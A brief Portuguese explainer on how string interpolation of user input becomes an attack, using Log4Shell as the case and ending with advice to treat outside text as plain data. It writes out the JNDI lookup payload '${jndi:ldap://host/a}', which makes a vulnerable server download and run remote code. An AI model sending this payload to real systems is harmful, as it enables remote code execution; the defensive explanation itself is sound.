Interpolação que busca sozinha
Quando a biblioteca resolve ${...} dentro de um texto do usuário, o texto vira instrução.
Muitas bibliotecas trocam marcadores como ${...} por um valor antes de usar o texto: é a interpolação. Enquanto o molde é escrito pelo programador, isso é cômodo. O perigo começa quando o texto interpolado vem do usuário e a biblioteca resolve os marcadores assim mesmo.
No Log4Shell (CVE-2021-44228), o Log4j varria cada mensagem de log atrás de ${...} e resolvia "lookups". Alguns liam algo local (${date:...}, ${env:...}), mas ${jndi:ldap://host/a} fazia o programa abrir uma conexão de rede, baixar uma classe Java e executá-la. Como o código registrava um cabeçalho do pedido, bastava mandar o cabeçalho certo para rodar código no servidor.
O conserto desligou a resolução de lookups na mensagem. A regra geral: nunca deixe um texto que veio de fora passar por um passo que o interpreta; trate-o como dado puro.